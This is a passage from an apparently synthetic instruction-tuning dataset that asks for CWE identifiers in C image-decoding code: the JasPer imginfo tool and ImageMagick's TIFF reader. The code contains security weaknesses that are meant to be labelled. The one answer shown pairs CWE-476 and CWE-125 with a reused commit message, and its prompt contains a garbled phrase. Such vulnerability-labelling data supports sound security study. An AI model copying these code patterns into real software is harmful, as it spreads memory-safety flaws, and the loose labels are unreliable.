Parse the command line options. */\n\twhile ((id = jas_getopt(argc, argv, opts)) >= 0) {\n\t\tswitch (id) {\n\t\tcase OPT_VERBOSE:\n\t\t\tverbose = 1;\n\t\t\tbreak;\n\t\tcase OPT_VERSION:\n\t\t\tprintf(\"%s\\n\", JAS_VERSION);\n\t\t\texit(EXIT_SUCCESS);\n\t\t\tbreak;\n\t\tcase OPT_INFILE:\n\t\t\tinfile = jas_optarg;\n\t\t\tbreak;\n\t\tcase OPT_HELP:\n\t\tdefault:\n\t\t\tusage();\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/* Open the image file. */\n\tif (infile) {\n\t\t/* The image is to be read from a file. */\n\t\tif (!(instream = jas_stream_fopen(infile, \"rb\"))) {\n\t\t\tfprintf(stderr, \"cannot open input image file %s\\n\", infile);\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t} else {\n\t\t/* The image is to be read from standard input. */\n\t\tif (!(instream = jas_stream_fdopen(0, \"rb\"))) {\n\t\t\tfprintf(stderr, \"cannot open standard input\\n\");\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t}\n\n\tif ((fmtid = jas_image_getfmt(instream)) < 0) {\n\t\tfprintf(stderr, \"unknown image format\\n\");\n\t}\n\n\t/* Decode the image. */\n\tif (!(image = jas_image_decode(instream, fmtid, 0))) {\n\t\tfprintf(stderr, \"cannot load image\\n\");\n\t\treturn EXIT_FAILURE;\n\t}\n\n\t/* Close the image file. */\n\tjas_stream_close(instream);\n\n\tnumcmpts = jas_image_numcmpts(image);\n\twidth = jas_image_cmptwidth(image, 0);\n\theight = jas_image_cmptheight(image, 0);\n\tdepth = jas_image_cmptprec(image, 0);\n\tif (!(fmtname = jas_image_fmttostr(fmtid))) {\n\t\tabort();\n\t}\n\tprintf(\"%s %d %d %d %d %ld\\n\", fmtname, numcmpts, width, height, depth, (long) jas_image_rawsize(image));\n\n\tjas_image_destroy(image);\n\tjas_image_clearfmts();\n\n\treturn EXIT_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-125'], 'message': 'Fixed a sanitizer failure in the BMP codec.\nAlso, added a --debug-level command line option to the imginfo command\nfor debugging purposes.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadTIFFImage(const ImageInfo *image_info,\n ExceptionInfo *exception)\n{\n const char\n *option;\n\n float\n *chromaticity,\n x_position,\n y_position,\n x_resolution,\n y_resolution;\n\n Image\n *image;\n\n int\n tiff_status;\n\n MagickBooleanType\n status;\n\n MagickSizeType\n number_pixels;\n\n QuantumInfo\n *quantum_info;\n\n QuantumType\n quantum_type;\n\n register ssize_t\n i;\n\n size_t\n pad;\n\n ssize_t\n y;\n\n TIFF\n *tiff;\n\n TIFFMethodType\n method;\n\n uint16\n compress_tag,\n bits_per_sample,\n endian,\n extra_samples,\n interlace,\n max_sample_value,\n min_sample_value,\n orientation,\n pages,\n photometric,\n *sample_info,\n sample_format,\n samples_per_pixel,\n units,\n value;\n\n uint32\n height,\n rows_per_strip,\n width;\n\n unsigned char\n *pixels;\n\n /*\n Open image.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n (void) SetMagickThreadValue(tiff_exception,exception);\n tiff=TIFFClientOpen(image->filename,\"rb\",(thandle_t) image,TIFFReadBlob,\n TIFFWriteBlob,TIFFSeekBlob,TIFFCloseBlob,TIFFGetBlobSize,TIFFMapBlob,\n TIFFUnmapBlob);\n if (tiff == (TIFF *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n if (image_info->number_scenes != 0)\n {\n /*\n Generate blank images for subimage specification (e.g. image.tif[4].\n We need to check the number of directores because it is possible that\n the subimage(s) are stored in the photoshop profile.\n */\n if (image_info->scene < (size_t) TIFFNumberOfDirectories(tiff))\n {\n for (i=0; i < (ssize_t) image_info->scene; i++)\n {\n status=TIFFReadDirectory(tiff) != 0 ? MagickTrue : MagickFalse;\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n TIFFClose(tiff);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n }\n }\n }\n do\n {\nDisableMSCWarning(4127)\n if (0 && (image_info->verbose != MagickFalse))\n TIFFPrintDirectory(tiff,stdout,MagickFalse);\nRestoreMSCWarning\n if ((TIFFGetField(tiff,TIFFTAG_IMAGEWIDTH,&width) != 1) ||\n (TIFFGetField(tiff,TIFFTAG_IMAGELENGTH,&height) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_COMPRESSION,&compress_tag) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_FILLORDER,&endian) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_PLANARCONFIG,&interlace) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,&samples_per_pixel) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,&bits_per_sample) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLEFORMAT,&sample_format) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_MINSAMPLEVALUE,&min_sample_value) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_MAXSAMPLEVALUE,&max_sample_value) != 1) ||\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_PHOTOMETRIC,&photometric) != 1))\n {\n TIFFClose(tiff);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n if (sample_format == SAMPLEFORMAT_IEEEFP)\n (void) SetImageProperty(image,\"quantum:format\",\"floating-point\",\n exception);\n switch (photometric)\n {\n case PHOTOMETRIC_MINISBLACK:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"min-is-black\",\n exception);\n break;\n }\n case PHOTOMETRIC_MINISWHITE:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"min-is-white\",\n exception);\n break;\n }\n case PHOTOMETRIC_PALETTE:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"palette\",exception);\n break;\n }\n case PHOTOMETRIC_RGB:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"RGB\",exception);\n break;\n }\n case PHOTOMETRIC_CIELAB:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"CIELAB\",exception);\n break;\n }\n case PHOTOMETRIC_LOGL:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"CIE Log2(L)\",\n exception);\n break;\n }\n case PHOTOMETRIC_LOGLUV:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"LOGLUV\",exception);\n break;\n }\n#if defined(PHOTOMETRIC_MASK)\n case PHOTOMETRIC_MASK:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"MASK\",exception);\n break;\n }\n#endif\n case PHOTOMETRIC_SEPARATED:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"separated\",exception);\n break;\n }\n case PHOTOMETRIC_YCBCR:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"YCBCR\",exception);\n break;\n }\n default:\n {\n (void) SetImageProperty(image,\"tiff:photometric\",\"unknown\",exception);\n break;\n }\n }\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Geometry: %ux%u\",\n (unsigned int) width,(unsigned int) height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Interlace: %u\",\n interlace);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Bits per sample: %u\",bits_per_sample);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Min sample value: %u\",min_sample_value);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Max sample value: %u\",max_sample_value);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Photometric \"\n \"interpretation: %s\",GetImageProperty(image,\"tiff:photometric\",\n exception));\n }\n image->columns=(size_t) width;\n image->rows=(size_t) height;\n image->depth=(size_t) bits_per_sample;\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Image depth: %.20g\",\n (double) image->depth);\n image->endian=MSBEndian;\n if (endian == FILLORDER_LSB2MSB)\n image->endian=LSBEndian;\n#if defined(MAGICKCORE_HAVE_TIFFISBIGENDIAN)\n if (TIFFIsBigEndian(tiff) == 0)\n {\n (void) SetImageProperty(image,\"tiff:endian\",\"lsb\",exception);\n image->endian=LSBEndian;\n }\n else\n {\n (void) SetImageProperty(image,\"tiff:endian\",\"msb\",exception);\n image->endian=MSBEndian;\n }\n#endif\n if ((photometric == PHOTOMETRIC_MINISBLACK) ||\n (photometric == PHOTOMETRIC_MINISWHITE))\n SetImageColorspace(image,GRAYColorspace,exception);\n if (photometric == PHOTOMETRIC_SEPARATED)\n SetImageColorspace(image,CMYKColorspace,exception);\n if (photometric == PHOTOMETRIC_CIELAB)\n SetImageColorspace(image,LabColorspace,exception);\n TIFFGetProfiles(tiff,image,image_info->ping,exception);\n TIFFGetProperties(tiff,image,exception);\n option=GetImageOption(image_info,\"tiff:exif-properties\");\n if (IsStringFalse(option) == MagickFalse) /* enabled by default */\n TIFFGetEXIFProperties(tiff,image,exception);\n (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,\n &samples_per_pixel);\n if ((TIFFGetFieldDefaulted(tiff,TIFFTAG_XRESOLUTION,&x_resolution) == 1) &&\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_YRESOLUTION,&y_resolution) == 1))\n {\n image->resolution.x=x_resolution;\n image->resolution.y=y_resolution;\n }\n if (TIFFGetFieldDefaulted(tiff,TIFFTAG_RESOLUTIONUNIT,&units) == 1)\n {\n if (units == RESUNIT_INCH)\n image->units=PixelsPerInchResolution;\n if (units == RESUNIT_CENTIMETER)\n image->units=PixelsPerCentimeterResolution;\n }\n if ((TIFFGetFieldDefaulted(tiff,TIFFTAG_XPOSITION,&x_position) == 1) &&\n (TIFFGetFieldDefaulted(tiff,TIFFTAG_YPOSITION,&y_position) == 1))\n {\n image->page.x=(ssize_t) ceil(x_position*image->resolution.x-0.5);\n image->page.y=(ssize_t) ceil(y_position*image->resolution.y-0.5);\n }\n if (TIFFGetFieldDefaulted(tiff,TIFFTAG_ORIENTATION,&orientation) == 1)\n image->orientation=(OrientationType) orientation;\n if (TIFFGetField(tiff,TIFFTAG_WHITEPOINT,&chromaticity) == 1)\n {\n if (chromaticity != (float *) NULL)\n {\n image->chromaticity.white_point.x=chromaticity[0];\n image->chromaticity.white_point.y=chromaticity[1];\n }\n }\n if (TIFFGetField(tiff,TIFFTAG_PRIMARYCHROMATICITIES,&chromaticity) == 1)\n {\n if (chromaticity != (float *) NULL)\n {\n image->chromaticity.red_primary.x=chromaticity[0];\n image->chromaticity.red_primary.y=chromaticity[1];\n image->chromaticity.green_primary.x=chromaticity[2];\n image->chromaticity.green_primary.y=chromaticity[3];\n image->chromaticity.blue_primary.x=chromaticity[4];\n image->chromaticity.blue_primary.y=chromaticity[5];\n }\n }\n#if defined(MAGICKCORE_HAVE_TIFFISCODECCONFIGURED) || (TIFFLIB_VERSION > 20040919)\n if ((compress_tag != COMPRESSION_NONE) &&\n (TIFFIsCODECConfigured(compress_tag) == 0))\n {\n TIFFClose(tiff);\n ThrowReaderException(CoderError,\"CompressNotSupported\");\n }\n#endif\n switch (compress_tag)\n {\n case COMPRESSION_NONE: image->compression=NoCompression; break;\n case COMPRESSION_CCITTFAX3: image->compression=FaxCompression; break;\n case COMPRESSION_CCITTFAX4: image->compression=Group4Compression; break;\n case COMPRESSION_JPEG:\n {\n image->compression=JPEGCompression;\n#if defined(JPEG_SUPPORT)\n {\n char\n sampling_factor[MagickPathExtent];\n\n int\n tiff_status;\n\n uint16\n horizontal,\n vertical;\n\n tiff_status=TIFFGetFieldDefaulted(tiff,TIFFTAG_YCBCRSUBSAMPLING,\n &horizontal,&vertical);\n if (tiff_status == 1)\n {\n (void) FormatLocaleString(sampling_factor,MagickPathExtent,\n \"%dx%d\",horizontal,vertical);\n (void) SetImageProperty(image,\"jpeg:sampling-factor\",\n sampling_factor,exception);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"Sampling Factors: %s\",sampling_factor);\n }\n }\n#endif\n break;\n }\n case COMPRESSION_OJPEG: image->compression=JPEGCompression; break;\n#if defined(COMPRESSION_LZMA)\n case COMPRESSION_LZMA: image->compression=LZMACompression; break;\n#endif\n case COMPRESSION_LZW: image->compression=LZWCompression; break;\n case COMPRESSION_DEFLATE: image->compression=ZipCompression; break;\n case COMPRESSION_ADOBE_DEFLATE: image->compression=ZipCompression; break;\n default: image->compression=RLECompression; break;\n }\n /*\n Allocate memory for the image and pixel buffer.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n if (sample_format == SAMPLEFORMAT_UINT)\n status=SetQuantumFormat(image,quantum_info,UnsignedQuantumFormat);\n if (sample_format == SAMPLEFORMAT_INT)\n status=SetQuantumFormat(image,quantum_info,SignedQuantumFormat);\n if (sample_format == SAMPLEFORMAT_IEEEFP)\n status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n quantum_info=DestroyQuantumInfo(quantum_info);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n status=MagickTrue;\n switch (photometric)\n {\n case PHOTOMETRIC_MINISBLACK:\n {\n quantum_info->min_is_white=MagickFalse;\n break;\n }\n case PHOTOMETRIC_MINISWHITE:\n {\n quantum_info->min_is_white=MagickTrue;\n break;\n }\n default:\n break;\n }\n tiff_status=TIFFGetFieldDefaulted(tiff,TIFFTAG_EXTRASAMPLES,&extra_samples,\n &sample_info);\n if (tiff_status == 1)\n {\n (void) SetImageProperty(image,\"tiff:alpha\",\"unspecified\",exception);\n if (extra_samples == 0)\n {\n if ((samples_per_pixel == 4) && (photometric == PHOTOMETRIC_RGB))\n image->alpha_trait=BlendPixelTrait;\n }\n else\n for (i=0; i < extra_samples; i++)\n {\n image->alpha_trait=BlendPixelTrait;\n if (sample_info[i] == EXTRASAMPLE_ASSOCALPHA)\n {\n SetQuantumAlphaType(quantum_info,DisassociatedQuantumAlpha);\n (void) SetImageProperty(image,\"tiff:alpha\",\"associated\",\n exception);\n }\n else\n if (sample_info[i] == EXTRASAMPLE_UNASSALPHA)\n (void) SetImageProperty(image,\"tiff:alpha\",\"unassociated\",\n exception);\n }\n }\n if ((photometric == PHOTOMETRIC_PALETTE) &&\n (pow(2.0,1.0*bits_per_sample) <= MaxColormapSize))\n {\n size_t\n colors;\n\n colors=(size_t) GetQuantumRange(bits_per_sample)+1;\n if (AcquireImageColormap(image,colors,exception) == MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n }\n value=(unsigned short) image->scene;\n if (TIFFGetFieldDefaulted(tiff,TIFFTAG_PAGENUMBER,&value,&pages) == 1)\n image->scene=value;\n if (image->storage_class == PseudoClass)\n {\n int\n tiff_status;\n\n size_t\n range;\n\n uint16\n *blue_colormap,\n *green_colormap,\n *red_colormap;\n\n /*\n Initialize colormap.\n */\n tiff_status=TIFFGetField(tiff,TIFFTAG_COLORMAP,&red_colormap,\n &green_colormap,&blue_colormap);\n if (tiff_status == 1)\n {\n if ((red_colormap != (uint16 *) NULL) &&\n (green_colormap != (uint16 *) NULL) &&\n (blue_colormap != (uint16 *) NULL))\n {\n range=255; /* might be old style 8-bit colormap */\n for (i=0; i < (ssize_t) image->colors; i++)\n if ((red_colormap[i] >= 256) || (green_colormap[i] >= 256) ||\n (blue_colormap[i] >= 256))\n {\n range=65535;\n break;\n }\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].red=ClampToQuantum(((double)\n QuantumRange*red_colormap[i])/range);\n image->colormap[i].green=ClampToQuantum(((double)\n QuantumRange*green_colormap[i])/range);\n image->colormap[i].blue=ClampToQuantum(((double)\n QuantumRange*blue_colormap[i])/range);\n }\n }\n }\n if (image->alpha_trait == UndefinedPixelTrait)\n image->depth=GetImageDepth(image,exception);\n }\n if (image_info->ping != MagickFalse)\n {\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n goto next_tiff_frame;\n }\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n method=ReadGenericMethod;\n if (TIFFGetField(tiff,TIFFTAG_ROWSPERSTRIP,&rows_per_strip) == 1)\n {\n char\n value[MagickPathExtent];\n\n method=ReadStripMethod;\n (void) FormatLocaleString(value,MagickPathExtent,\"%u\",\n (unsigned int) rows_per_strip);\n (void) SetImageProperty(image,\"tiff:rows-per-strip\",value,exception);\n }\n if ((samples_per_pixel >= 2) && (interlace == PLANARCONFIG_CONTIG))\n method=ReadRGBAMethod;\n if ((samples_per_pixel >= 2) && (interlace == PLANARCONFIG_SEPARATE))\n method=ReadCMYKAMethod;\n if ((photometric != PHOTOMETRIC_RGB) &&\n (photometric != PHOTOMETRIC_CIELAB) &&\n (photometric != PHOTOMETRIC_SEPARATED))\n method=ReadGenericMethod;\n if (image->storage_class == PseudoClass)\n method=ReadSingleSampleMethod;\n if ((photometric == PHOTOMETRIC_MINISBLACK) ||\n (photometric == PHOTOMETRIC_MINISWHITE))\n method=ReadSingleSampleMethod;\n if ((photometric != PHOTOMETRIC_SEPARATED) &&\n (interlace == PLANARCONFIG_SEPARATE) && (bits_per_sample < 64))\n method=ReadGenericMethod;\n if (image->compression == JPEGCompression)\n method=GetJPEGMethod(image,tiff,photometric,bits_per_sample,\n samples_per_pixel);\n if (compress_tag == COMPRESSION_JBIG)\n method=ReadStripMethod;\n if (TIFFIsTiled(tiff) != MagickFalse)\n method=ReadTileMethod;\n quantum_info->endian=LSBEndian;\n quantum_type=RGBQuantum;\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n switch (method)\n {\n case ReadSingleSampleMethod:\n {\n /*\n Convert TIFF image to PseudoClass MIFF image.\n */\n quantum_type=IndexQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-1,0);\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n if (image->storage_class != PseudoClass)\n {\n quantum_type=samples_per_pixel == 1 ? AlphaQuantum :\n GrayAlphaQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-2,0);\n }\n else\n {\n quantum_type=IndexAlphaQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-2,0);\n }\n }\n else\n if (image->storage_class != PseudoClass)\n {\n quantum_type=GrayQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-1,0);\n }\n status=SetQuantumPad(image,quantum_info,pad*pow(2,ceil(log(\n bits_per_sample)/log(2))));\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n int\n status;\n\n register Quantum\n *magick_restrict q;\n\n status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);\n if (status == -1)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadRGBAMethod:\n {\n /*\n Convert TIFF image to DirectClass MIFF image.\n */\n pad=(size_t) MagickMax((size_t) samples_per_pixel-3,0);\n quantum_type=RGBQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n quantum_type=RGBAQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-4,0);\n }\n if (image->colorspace == CMYKColorspace)\n {\n pad=(size_t) MagickMax((size_t) samples_per_pixel-4,0);\n quantum_type=CMYKQuantum;\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n quantum_type=CMYKAQuantum;\n pad=(size_t) MagickMax((size_t) samples_per_pixel-5,0);\n }\n }\n status=SetQuantumPad(image,quantum_info,pad*((bits_per_sample+7) >> 3));\n if (status == MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n int\n status;\n\n register Quantum\n *magick_restrict q;\n\n status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);\n if (status == -1)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadCMYKAMethod:\n {\n /*\n Convert TIFF image to DirectClass MIFF image.\n */\n for (i=0; i < (ssize_t) samples_per_pixel; i++)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *magick_restrict q;\n\n int\n status;\n\n status=TIFFReadPixels(tiff,bits_per_sample,(tsample_t) i,y,(char *)\n pixels);\n if (status == -1)\n break;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n if (image->colorspace != CMYKColorspace)\n switch (i)\n {\n case 0: quantum_type=RedQuantum; break;\n case 1: quantum_type=GreenQuantum; break;\n case 2: quantum_type=BlueQuantum; break;\n case 3: quantum_type=AlphaQuantum; break;\n default: quantum_type=UndefinedQuantum; break;\n }\n else\n switch (i)\n {\n case 0: quantum_type=CyanQuantum; break;\n case 1: quantum_type=MagentaQuantum; break;\n case 2: quantum_type=YellowQuantum; break;\n case 3: quantum_type=BlackQuantum; break;\n case 4: quantum_type=AlphaQuantum; break;\n default: quantum_type=UndefinedQuantum; break;\n }\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadYCCKMethod:\n {\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n int\n status;\n\n register Quantum\n *magick_restrict q;\n\n register ssize_t\n x;\n\n unsigned char\n *p;\n\n status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);\n if (status == -1)\n break;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n p=pixels;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelCyan(image,ScaleCharToQuantum(ClampYCC((double) *p+\n (1.402*(double) *(p+2))-179.456)),q);\n SetPixelMagenta(image,ScaleCharToQuantum(ClampYCC((double) *p-\n (0.34414*(double) *(p+1))-(0.71414*(double ) *(p+2))+\n 135.45984)),q);\n SetPixelYellow(image,ScaleCharToQuantum(ClampYCC((double) *p+\n (1.772*(double) *(p+1))-226.816)),q);\n SetPixelBlack(image,ScaleCharToQuantum((unsigned char) *(p+3)),q);\n q+=GetPixelChannels(image);\n p+=4;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadStripMethod:\n {\n register uint32\n *p;\n\n /*\n Convert stripped TIFF image to DirectClass MIFF image.\n */\n i=0;\n p=(uint32 *) NULL;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q;\n\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n if (i == 0)\n {\n if (TIFFReadRGBAStrip(tiff,(tstrip_t) y,(uint32 *) pixels) == 0)\n break;\n i=(ssize_t) MagickMin((ssize_t) rows_per_strip,(ssize_t)\n image->rows-y);\n }\n i--;\n p=((uint32 *) pixels)+image->columns*i;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetR(*p))),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetG(*p))),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetB(*p))),q);\n if (image->alpha_trait != UndefinedPixelTrait)\n SetPixelAlpha(image,ScaleCharToQuantum((unsigned char)\n (TIFFGetA(*p))),q);\n p++;\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case ReadTileMethod:\n {\n register uint32\n *p;\n\n uint32\n *tile_pixels,\n columns,\n rows;\n\n /*\n Convert tiled TIFF image to DirectClass MIFF image.\n */\n if ((TIFFGetField(tiff,TIFFTAG_TILEWIDTH,&columns) != 1) ||\n (TIFFGetField(tiff,TIFFTAG_TILELENGTH,&rows) != 1))\n {\n TIFFClose(tiff);\n ThrowReaderException(CoderError,\"ImageIsNotTiled\");\n }\n (void) SetImageStorageClass(image,DirectClass,exception);\n number_pixels=(MagickSizeType) columns*rows;\n if (HeapOverflowSanityCheck(rows,sizeof(*tile_pixels)) != MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n tile_pixels=(uint32 *) AcquireQuantumMemory(columns,rows*\n sizeof(*tile_pixels));\n if (tile_pixels == (uint32 *) NULL)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (y=0; y < (ssize_t) image->rows; y+=rows)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q,\n *magick_restrict tile;\n\n size_t\n columns_remaining,\n rows_remaining;\n\n rows_remaining=image->rows-y;\n if ((ssize_t) (y+rows) < (ssize_t) image->rows)\n rows_remaining=rows;\n tile=QueueAuthenticPixels(image,0,y,image->columns,rows_remaining,\n exception);\n if (tile == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x+=columns)\n {\n size_t\n column,\n row;\n\n if (TIFFReadRGBATile(tiff,(uint32) x,(uint32) y,tile_pixels) == 0)\n break;\n columns_remaining=image->columns-x;\n if ((ssize_t) (x+columns) < (ssize_t) image->columns)\n columns_remaining=columns;\n p=tile_pixels+(rows-rows_remaining)*columns;\n q=tile+GetPixelChannels(image)*(image->columns*(rows_remaining-1)+\n x);\n for (row=rows_remaining; row > 0; row--)\n {\n if (image->alpha_trait != UndefinedPixelTrait)\n for (column=columns_remaining; column > 0; column--)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n TIFFGetR(*p)),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n TIFFGetG(*p)),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n TIFFGetB(*p)),q);\n SetPixelAlpha(image,ScaleCharToQuantum((unsigned char)\n TIFFGetA(*p)),q);\n p++;\n q+=GetPixelChannels(image);\n }\n else\n for (column=columns_remaining; column > 0; column--)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n TIFFGetR(*p)),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n TIFFGetG(*p)),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n TIFFGetB(*p)),q);\n p++;\n q+=GetPixelChannels(image);\n }\n p+=columns-columns_remaining;\n q-=GetPixelChannels(image)*(image->columns+columns_remaining);\n }\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n tile_pixels=(uint32 *) RelinquishMagickMemory(tile_pixels);\n break;\n }\n case ReadGenericMethod:\n default:\n 